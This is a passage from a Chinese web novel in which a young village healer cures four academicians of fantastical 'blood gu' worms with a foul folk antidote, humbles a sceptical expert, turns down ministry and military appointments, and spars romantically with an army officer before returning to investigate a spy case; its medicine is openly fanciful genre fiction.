“这血蛊,闻见解药的气息,就会变得躁动。” “我需要一位志愿者,喝一小口这个。” 她指了指那碗“神仙汤”。 “然后走到刘院士的病房门口,用自身的气息,把刘院士体内的蛊虫引动。” “这样,我就能亲眼看到,这解药的药效,究竟如何。” 她顿了顿,笑得人畜无害。 “王专家,你最讲究科学,最看重临床验证。” “这个为科学献身的宝贵机会,不如……就交给你了?” 王学海的脸上血色尽褪。 让他喝那碗东西? 那不是药。 那是用臭虫汁液、朱砂和三十年老陈醋熬出来的,堪比生化武器的巫婆汤! 这根本不是科学不科学的问题! 这是在挑战人类的生理极限! “荒谬!我绝不接受!” 王学海激动地扶了扶眼镜,声音尖锐。 “我是一名医生!我不能服用任何成分不明、未经临床验证的东西!这是对我的职业,更是对生命的侮辱!” “哦?”姜芷眉梢轻挑。 “王专家,你刚才不是还信誓旦旦,说科学要严谨,要临床验证吗?” “现在,验证的机会就在你面前。” “你怎么,又不敢了?” “我……”王学海被堵得胸口发闷,一个字都吐不出来。 他感觉自己就是个被脱光了衣服的小丑,被这个乡下丫头按在地上,肆意玩弄。 周围的专家们全都把头埋得更低了,死死盯着自己的鞋尖,生怕被那道冰冷的目光扫到。 那碗“解药”的杀伤力太大了。 光是闻着味儿,他们都感觉自己的胃液和世界观正在一起翻滚。 就在气氛僵持的时候。 陆向东动了。 他什么也没说,只是沉默地迈出一步,卷起袖子,伸出手,要去端那碗“神仙汤”。 李文华看得眼皮狂跳。 王学海更是惊得眼珠子都快从眼眶里瞪出来了。 这个战功赫赫的年轻团长,脑子坏掉了吗?! 然而,陆向东的手刚碰到碗沿。 姜芷就轻轻按在了他的手背上。 “不用你来。” 她的目光没有看陆向东,一直盯着王学海。 “有些人,不亲身感受一下‘科学’的铁拳,是永远不会懂得什么叫敬畏的。” 陆向东的手停住了。 他感觉到手背上传来的细腻触感,喉结微微滚动了一下。 他懂了。 姜芷要的,不单是找个人试药。 更要亲手打碎王学海那身可笑的傲骨。 陆向东默默收回手,重新站回了姜芷身后。 这一下,王学海所有的退路,都被彻底斩断。 他求助地望向四周,那些平日里称兄道弟的同事,此刻集体瞎了聋了。 他最后的希望,落在了李文华身上。 李文华的脸色黑得像锅底。 他等不起了,也不想再等了。 “王学海同志!” 李文华压着怒火。 “现在是救命!不是给你开学术研讨会!是英雄是狗熊,就看你这一口了!喝!” 最后一个“喝”字,在王学海的头顶轰然炸响。 他彻底绝望了。 在几十双眼睛的注视下,在自己的前途和性命的双重碾压下,王学海一步步挪了过去。 姜芷拿过一个十毫升的小烧杯,随意地倒了些进去。 然后,将那杯浓稠的墨绿色液体,递给他。 王学海颤抖着手,接了过来。 杯子刚一入手,那股升级版的恶臭就直冲天灵盖。 他感觉自己的眼泪都快被熏出来了。 他闭上眼。 脖子悲壮地一仰。 咕咚。 一口灌了下去。 “呕——!” 液体刚滑过喉咙,一股无法用语言形容的酸、腥、臭、臊、辣……瞬间在他的口腔和食道里炸开! 像是有人把一整块腐烂的死肉,混着厕所的陈年污垢,硬生生塞进了他的喉咙! 王学海的胃部剧烈痉挛,面目扭曲,他再也忍不住,猛地弯下腰,就要把喝下去的东西全部吐出来。 “别吐。” 姜芷的声音幽幽响起。 “吐出来,就得重喝。” 话音未落,一只手迅速伸出,在他的后颈某个穴位上,轻轻一点。 王学海的身体瞬间僵住。 那股翻江倒海的呕吐感,竟然被硬生生地压了回去! 他整个人,比直接吐出来还要难受一万倍! 第58章 神药灌嘴,傲骨跪碎 “王专家,你还好吗?” 姜芷轻飘飘地问。 王学海抬起头,镜片被冷汗糊住,视线里那个乡下丫头的身影模糊。 他想骂人,想咆哮。 想告诉她这根本不是治病,这是酷刑! 可他一张嘴,只有“呃……呃……”的痉挛声。 “看来效果不错。”姜芷满意点头,侧身对李文华下令。 “扶他进去,站到病床边,距离一米。” 李文华看着王学海那张扭曲的脸,也觉得喉头发紧,但对姜芷的指令,他现在绝对服从。 “来人!架住王专家!” 两个年轻医生憋着气,一左一右架起双腿发软的王学海,将他拖进了隔离病房。 玻璃窗外,所有人都死死屏住了呼吸。 王学海被架在刘院士的病床前。 他身上那股浓烈的药臭,混合着汗味,瞬间在封闭的病房内扩散开。 原本躺在床上一动不动的刘院士,忽然开始抽搐起来。 “动了!动了!刘院士有反应了!”一个专家激动喊道。 然而,下一秒,他的声音都卡在了喉咙里。 所有人的瞳孔,都在瞬间紧缩。 只见刘院士的皮肤下面,像是水面一样,泛起一圈圈涟漪。 紧接着,一道道比发丝还细的黑线,在他皮下游弋乱窜! 黑线越来越多,速度越来越快,像一群受惊的黑蛇,甚至能看到它们鼓起皮肤,形成一道道移动的凸起! “天呐……那……那是什么东西!” “是虫子!真的是虫子!” “它们……它们在刘院士的身体里!” 走廊里,一片倒吸凉气的声音。 之前还对姜芷的“血蛊”理论嗤之以鼻的专家们,此刻一个个脸色惨白,三观受到毁灭性打击。 王学海也看到了。 他离得最近,看得最清楚。 这一眼,让他胃里的那碗“神仙汤”翻滚得更加剧烈。 他双腿一软,要不是被人架着,当场就能跪下去。 只有姜芷,神情没有半分波澜,静静地看着。 王学海身上的药臭和人体汗气,与刘院士体内的血蛊产生了交互。 “蛊虫闻见生人气和药气,被引动了。” “但凶性未消,有拼死一搏的迹象。” 她转向一旁早已呆滞的护士长,伸出三根纤细的手指。 “给他灌药,王专家刚才喝的,三倍量。” 李文华闻言,立刻大吼:“听见没有!快!按姜神医说的剂量,给刘院士喂药!” 护士长带着两个胆大的护士,端着那碗能熏死人的药液,冲进病房。 撬开牙关,捏住鼻子。 一碗浓稠的液体,就这么被野蛮地灌进了刘院士的喉咙。 “都出来!” 药刚灌完,姜芷立刻提醒。 “所有人,立刻离开病房!” 李文华等人连滚带爬地撤了出来,顺便把已经快要昏厥的王学海也拖了出来。 陆向东一把攥住姜芷的手腕,将她护在身后,迅速退开。 众人刚刚站稳。 病房内,异变陡生! “呕——!!!” 一声凄厉呕吐声,从刘院士的喉咙里爆发! 下一刻,黑色的秽物,从他的嘴里、鼻孔里,疯狂喷涌! 整个病房里,瞬间弥漫开一股比之前那碗药还要恶臭百倍的气味。 “呃啊啊啊——!” 刘院呕吐未停。 “噗——!” 一声闷响,裤子瞬间被一股强大气流冲破。 黄的、黑的、绿的……各种颜色的污秽物,夹杂无数还在蠕动的黑色线虫,喷射得到处都是。 床上,地上,墙上…… 整个病房,在短短几秒内,变成了一座人间炼狱。 走廊里的专家们,哪见过这种阵仗? “呕……” “我不行了……” “快!快叫保洁……不!叫防化兵!” 刚才还强忍着的众人,这下再也扛不住了,一个个扶着墙,吐得昏天黑地。 就连李文华,也是脸色发青,别过头去,不敢再看。 这场恐怖的“排毒”,足足持续了五分钟。 五分钟后,病房里终于安静。 刘院士像一滩烂泥,瘫软在面目全非的病床上,浑身被污秽覆盖,一动不动。 整个病房,找不到一寸干净的地方。 走廊里,一片死寂。 李文华嘴唇哆嗦着,看向一脸平静的姜芷,声音都带上了哭腔。“姜……姜神医……刘……刘院士他……他是不是……” “死不了。” 姜芷淡淡地吐出三个字。 她松开陆向东的手,独自一人,缓缓走到病房门口。 看了眼躺在污秽中,胸膛正平稳起伏的刘院士。 “毒,已经解了。” 她转过身,对身后众人吩咐。 “准备一间新的隔离病房,所有设备都要最好的。” “这间房,里面的一切,包括仪器和床,全部拉出去焚烧。” “至于刘院士……”她顿了顿,“找几个胆子大的,用温水和药皂,从头到脚,给他洗几遍。” “然后换上新衣,送去新病房,让他睡。” “明早,他会醒的。” 说完,她不再理会众人,径直走到还在墙角干呕的王学海面前。 在他后颈上,又轻轻一拍。 “哇——!” 王学海感觉后颈的禁制被解开,再也忍不住,把憋了半天的苦水、胆汁,连带着那口“解药”的残余,吐了一地。 吐完,他彻底虚脱,瘫在地上,大口喘息,感觉自己刚从地狱爬回来。 姜芷看着他狼狈的样子,转向同样震惊的李文华,语气平淡。 “李部长。” “王专家吐早了。” “还有三个病人,在等着呢。” “等下,还得再喝一碗。” 王学海听见这话,浑身一哆嗦。 胃里刚吐空的黄胆水又一次翻涌上来。 还要喝? 再喝一次,他就可以直接跟刘院士躺一块儿,不,他可能死得更快! 旁边的李文华眼皮狂跳,看姜芷的眼神无比复杂。 这丫头,医术是神。 可这手段,也真是……狠到了骨子里。 就在王学海万念俱灰,感觉生命走到尽头时。 姜芷笑了笑:“逗你的。” 第59章 想吃肉包子,认真的吗 王学海猛地抬起头,满脸茫然。 什……什么? 逗他玩的? 姜芷根本没理会他那副傻样,自顾自地解释。 “通过刘院士的反应,我已经摸清了这批血蛊的活性和耐药性。” 她瞥了一眼墙角那滩呕吐物,语气平淡。 “刚才那一口,让你当个引子是真。” “现在,不需要了。” 这话一出,整个走廊里死寂的气氛瞬间松动。 所有人,都长长地舒了一口气,感觉像是刚从鬼门关前走了一遭。 尤其王学海,愣了足足半分钟,一股巨大的屈辱和愤怒冲上心头。 可他与姜芷双眼对上时,一个字也骂不出来。 他输了。 输得彻彻底底。 人家用他最鄙夷的“土办法”,解决了他们用尽世界最顶尖仪器都束手无策的难题。 他还有什么资格叫板? 姜芷转身,径直走向第二间隔离病房。 陆向东寸步不离。 其余的专家教授们,互相看了一眼,也都小心翼翼地跟了上去。 这一次,再也没人敢质疑半个字。 他们像一群小学生,跟在老师身后,大气都不敢喘。 第二位病人姓张,国内顶尖的植物学院士,同样面色灰败,奄奄一息。 姜芷走到病床前,伸出两根手指,轻轻搭在张院士枯瘦的手腕上,阖上了眼。 望、闻、问、切。 最古老,也最直接的诊断方式。 在场的所有西医专家,对这套流程只在书本上见过,此刻亲眼目睹,心中五味杂陈。 三分钟后,姜芷睁开眼。 “他体质偏寒,底子比刘院士弱一些。” 她看向旁边待命的护士长,直接下令。 “解药,六十毫升。” 护士长不敢有丝毫怠慢,立刻用量杯量取了六十毫升“灵魂解药”,带着人冲了进去。 历史,再次重演。 撬嘴,灌药,撤离。 “呕——!!!” 又是一声凄厉的呕吐。 紧接着是地狱般的排泄声。 那股足以熏死一头牛的恶臭,再次弥漫。 有了第一次的经验,这一次专家们的反应明显“训练有素”,只是齐刷刷白了脸,默默后退,死死捂住口鼻。 “我……我这辈子都忘不了这个味道了……” 一个年轻医生小声嘀咕。 “闭嘴!能救命就行!”旁边的老教授低声呵斥,但自己也忍不住干呕了一下。 五分钟后,病房里恢复平静。 “下一个。” 姜芷表情不变,走向第三间病房。 第三位,女院士,搞化学的。 同样的诊断流程。 “肝气郁结,湿气重。” “剂量加大,八十毫升,加三滴生姜汁。” “是!” 护士长现在对姜芷的指令,已经到了盲从的地步。 别说加生姜汁,就是让她加酱油,她也照办。 很快,第三间病房里,同样惊心动魄。 最后一位病人,年龄最大,症状最重。 “九十毫升,加一小撮甘草末。”姜芷轻声说。 当第四间病房的门被关上,里面传来最后一阵惊天动地的“排毒交响乐”时。 整个走廊里的人,都虚脱了。 他们一个个靠着墙,脸色发白,眼神发直,感觉自己刚刚打完了一场生化战争。 只有姜芷和陆向东,依旧站得笔直,神色如常。 两个小时后。 四位院士被清洗干净,换上新衣,挪到了四间全新的特护病房里。 他们静静躺着,呼吸平稳,那股死气沉沉的灰败,已经消失不见。 只是走廊里那股堪比毒气的恶臭,即使在强力排风扇和消毒水的气味下,一时半会儿也散不掉。 李文华带着一群专家,站在病房的玻璃窗外,看着里面沉睡的四位国宝,眼圈通红。 他转过身,走到姜芷面前,一句话也说不出,深深地鞠了一躬。 “姜神医,我代表国家,代表人民,谢谢你!” 他身后,那群之前还趾高气扬的专家教授,此刻也都低下了高傲的头颅,齐刷刷地向这个比他们孙女还小的乡下丫头,鞠躬。 这一躬,是敬畏。 是感谢。更是对自己无知的忏悔。 王学海也站在人群里,换了干净衣服,脸色依旧难看。 姜芷坦然受了他们这一拜。 “李部长,他们明早能醒。醒后喝些温米汤,调养三天,就没事了。”她有条不紊地交代着。 “好好好!我们都记下了!一定照办!”李文华连连点头。 交代完一切,姜芷感觉浑身的劲儿也卸了下去。 她揉了揉有些酸胀的太阳穴,转头看向一直守在身边的陆向东。 “陆团长。” “在。”陆向东立刻应声。 “我饿了。” 她轻轻地说。 “想吃肉包子。” “要刚出锅的,皮薄,馅儿大。” 肉……包……子…… 这三个再寻常不过的字眼,此时却拥有了倾覆山海的威力。 “呃……” 墙角,刚刚换了身干净衣服的王学海,脸上的血色“刷”一下褪尽。 胃里刚平息的惊涛骇浪再次卷起,他捂住嘴,发出了痛苦的干呕声。 李文华的脸,立马就绿了。 我的姑奶奶! 我们刚从人间炼狱爬出来,全身都还泡在血蛊和臭大姐的混合气味里。 你怎么还能……说出“肉”这个字? 看着众人满脸干呕的模样,陆向东忍不住浅笑了一下。 他上前一步说:“我去找。” “不用了!” 李文华连忙摆手,他现在对姜芷的话,不敢有半分怠慢。 他强压下喉咙里翻涌的酸水,一把拽过身边的秘书。 “小王!动起来!部里最好的招待所!清场!让老刘把压箱底的本事全拿出来!” “不管姜神医想吃什么,天上飞的,地上跑的,水里游的,全都给我备上!” 吩咐完,他又转向姜芷,脸上挤出一个比哭还难看的笑容。 “姜神医,您辛苦了,我们已经备好了车,先送您和陆团长过去休息,饭菜马上就好!” 姜芷点了点头,没多说什么。 就在姜芷和陆向东准备离开时,那群刚缓过一口气的专家教授们,齐刷刷围了上来。 “李部长!我们也去!” “对!陪同!我们必须全程陪同姜神医!” “我还有好几个关于‘血蛊’的学术问题,急需向姜神医请教!” 一个戴着金边眼镜的老教授,捂着还在隐隐作痛的胸口,说得一脸正气。 李文华瞥了这群老家伙一眼,心里跟明镜似的。 请教个屁! 这帮人,是怕这通天的功劳和人脉,被他李文华一个人独吞了! 但他没戳穿。 人多,才显得隆重。 “好!都去!都去!” 第60章 京城送上铁饭碗,陆团长当场翻脸 半小时后。 卫生部招待所,牡丹厅。 一张能坐二十几人的红木大圆桌旁,此刻坐得满满当登。 姜芷和陆向东坐在主位。 李文华和王学海等一众京城最顶级的医学专家,恭恭敬敬地陪坐着。 桌上,流水般地送上来了十几道精致的菜肴。 油光锃亮的烤鸭,清香四溢的鳜鱼,酱色浓郁的红烧肘子…… 还有一笼刚出锅,热气腾腾,皮薄馅儿大的肉包子,正正摆在姜芷面前。 满屋子都是浓郁的肉香。 “呕……” 然而,坐在末位的两个年轻医生,脑海里隔离病房的一幕还没散去,看着满桌的美食,终是没忍住,捂着嘴狼狈地冲了出去。 王学海面前的茶杯里,泡着浓得发黑的菊花,他一口口猛灌,试图压下胃里那股恶心。 姜芷拿起筷子,夹起一个包子,轻轻咬了一口。 嗯,酱肉的,味道不错。 看着她吃得香甜,陆向东脸色柔和了几分。 他默默给她夹了一筷子鱼腹最嫩的白肉。 整个饭桌上,气氛诡异到了极点。 只有姜芷和陆向东在认真吃饭。 剩下医学界泰斗,全都在看着他们吃,谁也提不起半点食欲。 “咳咳。” 眼看姜芷吃下第三个包子,李文华终于坐不住。 他清了清嗓子,满脸堆笑。 “姜神医啊,这次,真是太感谢你了!你不仅是救了四位国宝,更是救了我们整个国家的颜面啊!” 姜芷咽下嘴里的包子,喝了口茶,淡淡应了声:“医者仁心,职责所在。” “说得好!医者仁心,职责所在!” 李文华一拍大腿,顺着杆子就往上爬。 “姜神医,你看,你这一身通天的本事,如果只窝在一个小小的村子里,实在是太屈才了,也是我们国家医学界的巨大损失!” 他身子微微前倾。 “部里连夜开了会,一致决定!破格聘请您,担任我们卫生部直属的‘中医及疑难杂症战略研究所’的所长!正厅级待遇!” “在编!铁饭碗!” “另外,我们还在西单那边,给您准备了一套独门独院的四合院!再给您配一辆专车和司机!” “您家人的户口,我们也可以立刻转到京城来,享受最好的医疗和生活保障!” “姜神医,你觉得怎么样?!” 这一连串的重磅炸弹丢出来,炸得满桌的专家教授都晕乎乎的。 刚来京城一天,就直接成了正厅级的领导,还送房送车送户口! 这待遇,简直是前无古人! 就连王学海,都听得眼皮直跳。 然而,姜芷还没表态。 一个冷硬的声音,就先插了进来。 “李部长,恐怕不行。” 陆向东放下了筷子,用餐巾擦了擦嘴角,他甚至都没看李文华,目光落在姜芷脸上。 “姜芷同志,目前是我们西南军区特聘的专案顾问。” “她手上,正跟进一桩关乎国防安全的绝密案件。” “秦司令有令,任务结束前,她哪儿也不去。” 李文华脸上的笑容,肉眼可见地僵硬了。 他看向陆向东,又看了看一脸平静的姜芷,心里咯噔一下。 坏了! 忘了这茬了! 这丫头,是西南军区那边请来的! “陆团长,你这话说的就不对了嘛。”李文华不愧是官场老手,僵硬只是一瞬,立刻又笑呵呵地打起了太极。 “保家卫国是大事,救死扶伤,为国分忧,那也是大事嘛!我看这两件事,不冲突,不冲突!” “再说了,姜神医的本事,是属于全国人民的!你们军区把人这么攥在自己手里,格局……是不是小了点?” “格局小?”陆向东目光有些锐利。 “李部长,清水河悬了十年的旧案,你应该听过。整村失魂,活不见人,死不见尸。” “我们最新线索,这案子背后,是一个潜伏多年的特务组织。他们研究的,就是类似‘血蛊’这种,灭绝人性的生化武器。” “而姜芷,是目前已知的,唯一能破解他们手段的人。” “您觉得,是让她在京城安稳地当个所长重要,还是去前线,揪出这帮随时可能在国内引爆生化危机的毒瘤,更重要?” 这话一出,在场的专家们,大气都不敢喘。 神仙打架! 一个代表着国家卫生系统,一个代表着手握钢枪的军区! 两边都搬出了“国家安全”这尊大佛,谁也不让谁! 而他们争抢的中心,是一个不到二十岁,此刻正慢悠悠给自己盛了碗汤的乡下丫头! 这世界,太疯狂了! 李文华的额头,泌出了一层细汗。 他没想到,陆向东这么直接,当着这么多人的面,就把机密案情给抖出来了一点。 这不是在商量。 而是在警告! 可就这么放走这尊活神仙,他死也不甘心! 李文华咬碎了后槽牙,决定最后一搏。 “陆团长!这样,我们卫生部可以成立一个专案医疗组,全力配合你们军区的调查!” “姜神医担任组长!我们给她配全国最好的助手,最好的设备!她坐镇京城,遥控指挥,不就行了?” “不行。”陆向东想都没想,直接拒绝。 “有些东西,只有亲临现场,才能发现。” “你!” 李文华被噎得差点一口气没上来。 这姓陆的,油盐不进!简直就是块臭石头! 眼看两人就要拍桌子,一直沉默的姜芷,终于有了动作。 她放下了手里的汤勺。 勺子与瓷碗碰撞,发出一声脆响。 剑拔弩张的两人都闭上了嘴。 满桌的目光,汇聚在她身上。 姜芷擦了擦嘴,平静地在两个面红耳赤的男人脸上一扫而过。 “你们……” 她缓缓开口。 “吵完了?” “咳……” 李文华干咳一声,打破了僵局,脸上挤出了一团和气。 “姜神医说笑了,我们这哪是吵架,我们这是在讨论!” “讨论如何才能更好地发挥您的才能,为您,也为我们国家,创造最大的价值嘛!对不对,陆团长?” 说着,他还朝陆向东使了个眼色。 陆向东没搭理他。 他的目光,从始至终,都落在姜芷身上。 姜芷拿起桌上的热毛巾,擦了擦手。 整个包厢里,二十几号人,都是各自领域里响当当的人物,此刻大气都不敢出,就这么看着她擦手。 安静的场面,诡异得让人心里发毛。 擦完手,姜芷将毛巾放到一边,终于抬起头看向李文华。 “李部长,你说的研究所所长,正厅级待遇,西单的四合院,专车,还有京城户口……” 她每说一样,李文华的眼睛就亮一分,腰杆也挺直一分。 这是天大诱惑,换了任何人,都无法拒绝。 然而,姜芷的视线轻轻一转,落在了身侧的陆向东身上,他周身的气息瞬间绷紧。 “还有你说的,西南军区特聘顾问,协助调查十年悬案,揪出特务组织……” 她的目光,在两个男人之间打了个转,最后轻笑着吐出三个字。 “都不要。” “……” “……” 都不要? 什么叫都不要?! 李文华脸上的笑容,彻底僵住。 陆向东的冰山脸,也出现了一丝裂痕。 满桌的专家教授,有一个算一个,全都懵了。 这可是国家两大强力部门! “姜……姜神医……”李文华的舌头都有些打结,“您……您的意思是?” “我的意思,很简单。”姜芷身体微微后靠,姿态慵懒。 “我对当官没兴趣。李部长,你的研究所所长,我可以挂个名。平时有解决不了的疑难杂症,资料送给我看。有必要,我会出诊。” 李文华愣住了。 挂名? 这……听起来,好像也不是不能接受? “至于军区的特聘顾问,我也没兴趣。” 姜芷的目光转向陆向东,男人的眸色深了下去。 “不过,接下来,我还是要回西南。” “‘清水河’的案子,还有那个特务组织……他们研究的东西,不是普通的生化武器。那是医道上的邪术,是医门的败类。我是医生,清理门户,是分内之事。” 她顿了顿,又把目光转回李文华。 “所以,我去西南,不是帮陆向东,也不是帮军区。是我自己要去。” “你们能明白吗?” 一时间,包厢内鸦雀无声。 李文华和陆向东对视了一眼,都在对方眼中,看到了如出一辙的无奈。 他们两个被一个不到二十岁的小丫头,拿捏得死死的。 偏偏,还都得认。 不认? 不认,这尊活神仙,怕是真要拍拍屁股回乡下种地去了,到时候哭都没地方哭。 “我们卫生部,没问题!” 李文华咬着后槽牙,挤出这句话。 他想通了,挂个名怎么了? 只要姜神医这块金字招牌挂在了卫生部,那就是天大的政绩! 以后出去开会,他都能横着走! 第61章 陆团长:追媳妇,要什么脸! 陆向东的喉结滑动了一下。 他没退。 更没有像以往那样,耳根泛红,不知所措。 他就那么看着她,陷入了短暂的沉默。 就在姜芷以为自己这一下把这位铁血团长给问懵了,准备起身,得意收回自己的爪子时。 陆向东动了。 他高大的身躯猛然压了过来。 一只手撑在了她身后的椅背上,另一只手按在了她身侧的桌沿。 一个带着绝对侵占意味的姿态,将她死死圈在了他与座椅之间。 姜芷下意识后仰,后背已抵住椅背,退无可退。 “你……” 一个字刚出口,就被他打断。 “姜芷同志。” 他的声音很低,带着灼人的温度。 “你觉得,京城那些所谓的青年才俊……” 他俯身,靠得更近。 “……有我能打?” 姜芷:“……” “有我扛揍?” 姜芷:“……” “有我懂怎么在深山老林里,给你找吃的,给你当肉垫,给你暖身子?” 轰——! 一股热气从脖颈直冲头顶,姜芷的脸烧了起来。 这个流氓! 什么叫给她暖身子?! 山洞里那点事,他还没完了是吧?! 她瞪着他,想骂人,可那双水汽氤氲的杏眼里,没有半分杀伤力,反而像在勾人。 陆向东看着她这副又羞又恼的模样,笑意更浓。 “最重要的一点。” “他们……有我听话?” “你让捏臭大姐,我绝不碰一下苍蝇。你让往东,我绝不看一眼西。” “能给你当警卫员,又能给你当后勤兵,还能……” “在关键时刻,帮你尝尝你那碗‘神仙汤’,是什么滋味。” 姜芷彻底傻了。 她感觉自己的脑子,咕嘟咕嘟地冒着泡,一片空白。 这个男人…… 他怎么能把那些事,说得这么理直气壮! 什么叫帮她尝神仙汤? 那是试药! 是临床验证! “你……”她舌头都打了结,“真不要脸!” “嗯。” 陆向东坦然点头。 “追媳妇,要什么脸。” “姜芷,你听好了。” “我不是怕你看上别人。” “我是怕别人,不知道你早就是我陆向东看上的人。” “从在后山你救我那一次开始,你就是我的。以前是,现在是,以后,也必须是。” “谁敢跟我抢,我就打断他的腿。” 完了。 玩脱了。 姜芷的心跳,快得要从嗓子眼里蹦出来。 她本来只是想逗逗这只沉默的猛虎,看看他手足无措的样子。 谁知道,这猛虎不光没被逗毛,反而一口咬住了她的脖子,把她拖回了自己的窝里! 看着男人志在必得的眼睛,姜芷脑子里只有一个念头。 跑! 必须马上跑! 再不跑,她这只活了两辈子的老狐狸,今天就要交代在这个小流氓手里了! 她伸手去推他结实的胸膛。 “陆向东!你给我起开!光天化日,朗朗乾坤,你……” “砰——!” 包厢的门,突然被人从外面推开。 “哎呀!你看我这记性,把公文包给落下了……” 李文华的大嗓门,欢快地砸了进来。 下一秒,他的声音,戛然而止。 “呃……” 李文华呆立在门口,手里还保持着推门的姿势。 他看见姜芷正被陆向东,以极其暧昧的姿势,圈在椅子里。 一个满脸通红,眼含水汽,正在推拒。 一个眼神幽暗,气势逼人,正在压制。 这画面…… 这姿势…… 李文华的脑子里,瞬间闪过无数革命电影里,地主恶霸调戏良家妇女的经典桥段。 不对! 再一想,又闪过无数英雄救美后,两人私定终身的画面。 也不对! 李文华感觉自己的脑子不够用了。 他一个搞行政的,哪里见过这种阵仗? 完了完了! 我是不是撞破了什么不该看的东西? 陆团长不会为了灭口,把我拉到后山给崩了吧? 李文华的脸瞬间挤出一个比哭还难看的笑。 “那……那个……我……我什么都没看见!你们继续!继续哈!” 说着,他“砰”地一声,又把门给关上了,转身就想跑。 刚跑出两步,他又想起来了。 不对啊!我的公文包!那里面还有今天会议的纪要!明天要给大领导汇报的! 李文华一咬牙,一跺脚,又硬着头皮把门推开一条缝。 他探进一个脑袋,眼睛努力看着天花板,就是不敢往那两人身上瞟。 “陆团长,姜神医……打扰了哈……我就是拿个包,拿个包就走,绝不多待一秒钟!” 他一边说,一边像只螃蟹,贴着墙横着往里挪。 那滑稽的样子,瞬间冲散包厢里的暧昧和紧张。 姜芷趁着陆向东分神的瞬间,猛地一用力,终于从他的臂弯下钻了出来。 她站起身,整理了一下有些凌乱的衣领,脸上的红晕还没褪去。 “李部长,你的包,在沙发上。”她指了指角落。 “哎!好好好!” 李文华如蒙大赦,连忙冲过去,抓起自己的公文包,转身就往外跑。 跑到门口,他又猛地刹住,回头,一脸郑重地对陆向东说。 “陆团长!我代表组织提醒你一句啊!” “注意影响!” “这可是招待所!” 说完,不等陆向东反应,他“嗖”地一下,就消失得无影无踪。 包厢里,再次恢复安静。 姜芷背对着陆向东,连着做了好几个深呼吸,才把那颗狂跳的心压下去。 她转过身,瞪着那个还保持着圈人姿势的男人。 “陆向东。” “在。” “刚才的事,我只说一遍。” 姜芷咬着后槽牙。 “下次再敢对我动手动脚,耍流氓……” 她眯起眼睛,视线在他身上某个关键部位,轻轻一扫。 “我就废了你。” 陆向东的背脊,窜起一股寒意。 他毫不怀疑,以她的医术,绝对能说到做到。 他默默收回手,站直身体,恢复那副正人君子的模样。 只是眼里,还带着一丝得逞的笑意。 “好。”他应得干脆利落。 这一个字,把姜芷给整不会了。 好?什么好?好你个头啊! 姜芷看着他这副样子,气就不打一处来。 她发现,自己引以为傲的医术、毒术、心理战术,在这个男人面前,好像都不太管用。 打,可能打不过。 下毒?又没必要。 骂他?他脸皮厚得跟城墙似的,根本不在乎。 这简直就是天生的克星! 姜芷越想越气,干脆眼不见为净,转身就往外走。 “去哪?”陆向东跟了上去。 “睡觉!”姜芷没好气地说,“明天回西南!” ... 第二天一早。 还是那架熟悉的军用运输机。 机舱里,嗡鸣声巨大。 姜芷抱着胳膊,靠在舷窗边,闭着眼,一副“生人勿近”的架势。 她昨晚一夜没睡好,脑子里全是陆向东那个混蛋理直气壮说“追媳妇,要什么脸”的无赖样。 越想越气,越气越睡不着。 陆向东就坐在她旁边,安静地看着一份文件,偶尔抬眼,视线会在她气鼓鼓的侧脸上停留片刻。 第62章 她一个人回去?我不同意! “你是怎么……” 陆向东的声音有些发紧,喉咙干涩。 他想问她是怎么看出来的。 可话一出口,他就觉得自己问了句天大的废话。 姜芷没有看他,身上还裹着他那件带着淡淡皂角味的军装外套,目光落在舷窗外,看着飞速倒退的云层。 “很简单。” “你看那些卷宗,是不是觉得这些‘游方郎中’的行骗手段很拙劣,漏洞百出?” 陆向东沉沉点头。 确实。 那些所谓的“神迹”,在任何一个稍微有点常识的人看来,都充满了破绽。 “这就是他们的高明之处。” 姜芷的手指在窗玻璃上轻轻划过。 “他们的目标,从来不是聪明人。” “他们要找的,是最愚昧,最迷信,最与世隔绝的村落。” “每一次行骗,都是一次测试。” “测试当地村民的智商和受教育程度。” “消息从村里传到公社,再传到县里,需要多长时间。” “当地干部,是会用科学辟谣,还是会跟着一起烧香磕头。” 姜芷每说一句,陆向东的脸色就沉一分。 “而清水河村,就是他们交上来的,一份最完美的答卷。 姜芷收回目光,转头看向他。 “地理偏僻,交通闭塞,全村上下几乎都是文盲。村长带头信奉河神,距离最近的公社要翻两座山,走上半天。” “更重要的是……” 她翻开手里的文件,指着其中一行字。 “当年地质勘探的记录,清水河的水质,含有微量的‘乌头碱’。” “乌头碱?”陆向东皱眉,这个词他很陌生。 “一种生物碱,本身就有致幻作用。剂量极小,对人体无害,可一旦配合上某些特定的药材,比如曼陀罗,就能成为效果最霸道的迷药。” 姜芷轻哼冷笑。 “天然的药引,送到了嘴边。” “你说,对于一个精通药理的邪派组织来说,还有比这更完美的‘试验场’吗?” 陆向东彻底说不出话了。 只觉得全身升起一股寒意。 ... 飞机在西南军区机场平稳降落。 巨大的轰鸣声渐渐散去,姜芷身上的军大衣还没来得及还给陆向东,舱门一开,一股寒风就灌了进来。 停机坪上,一个身姿笔挺,肩上扛着金星的男人,正顶风站立。 正是西南军区一把手,秦振国。 他身后还跟着数名干部,个个神情肃穆,气场迫人。 这阵仗,堪比迎接外宾。 陆向东率先跳下飞机,脚跟并拢,对着秦振国敬了一个标准的军礼。 “报告司令员!任务完成!我把人给您安全带回来了!” 秦振国重重点头,目光越过他,落在了后面慢悠悠走下来的姜芷身上,脸上露出爽朗又带着几分敬意的笑容。 “姜芷同志,辛苦了。” 秦振国主动伸出手。 姜芷把手上的文件递给旁边一个警卫员,这才伸出手,跟秦振国握了一下。 “秦司令客气了。” “不客气,一点都不客气!” 秦振国大手一挥,中气十足。 “你这次去京城,可是给我们西南军区,挣回了天大的面子!李文华那个老狐狸,刚才还给我打电话,酸溜溜地说我藏了个宝贝疙瘩,不肯为国分忧!” 他这话,明着是抱怨,实则是在给姜芷递定心丸,告诉她,西南军区是她最坚实的后盾。 姜芷听明白了,但只是淡淡点头,并未接话。 “走,别在外面站着了,风大。” 秦振国领着他们,坐上了专车。 军用吉普在营区穿行,两旁是整齐的营房和战士们震天的口号声。 秦振国看着身边安静的姜芷,感慨道:“为了‘清水河’的案子,军区连夜成立了一个专案组,代号‘利剑’。现在,就等你这把最锋利的剑刃,来给我们开锋了!” …… “利剑”专案组的临时指挥部里,气氛严肃。 墙上挂着巨大的地图,上面用红色的线条,连接着南方数个省份的偏远村落。 每一个红点,都代表着一桩悬而未决的“神医”骗局。 屋里除了秦振国和陆向东,还有五六名军官,他们是军区里顶尖的精英 秦振国亲自为姜芷介绍专案组成员。 “这位是张冲,侦察营营长,追踪和反侦察的专家。” 